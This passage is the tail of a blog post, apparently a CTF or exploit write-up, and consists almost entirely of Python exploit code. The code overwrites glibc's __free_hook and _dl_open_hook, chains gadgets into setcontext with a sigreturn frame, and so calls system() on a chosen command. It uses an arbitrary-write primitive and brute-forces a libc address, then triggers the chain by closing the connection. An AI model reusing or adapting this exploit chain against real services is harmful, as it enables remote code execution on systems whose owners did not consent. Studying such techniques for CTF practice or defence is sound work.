    sigframe = SigreturnFrame()
    sigframe.rip = system_addr
    sigframe.rdi = free_hook + 8                   # cmd
    sigframe.rsp = free_hook                       # must be a writable address, as the stack of system func

    payload = b''.ljust(0xF, b'\x00')              # padding
    payload += p64(libc_dlopen_mode_56)            # __free_hook, after this rop, rax = *dl_open_hook = dl_open_hook + 8
    payload += cmd.ljust(0x2bb8, b'\x00')          # __free_hook + 8
    payload += p64(dl_open_hook + 8)               # dl_open_hook, *dl_open_hook = dl_open_hook+8, **dl_open_hook = fgetpos64+207
    payload += p64(fgetpos64_207)                # _dl_open_hook+8, let rdi = rax = _dl_open_hook + 8
    payload += b'A' * 0x18
    payload += p64(setcontext_53)             # dl_open_hook + 0x28 = rax + 0x20, call [rax+0x20] = setcontext+53
    payload += bytes(sigframe)[0x28:]           # now rdi = dl_open_hook + 8, thus we cut the offset from rdi to this pos

    aaw(io, payload)
    # print('aaw completed, trigger free()...')
    io.close()                  # trigger free()


def main():
    leak_addr = bruteforce()
    # leak_addr = 0x7fa9bcc90000   # target
    print('leaked an address: %s' % hex(leak_addr))
    for offset in range(0, 0xffff000, 0x1000):
        do_exploit(leak_addr, offset, CMD)


if __name__ == '__main__':
    main()

This post is licensed under CC BY 4.0 by the author.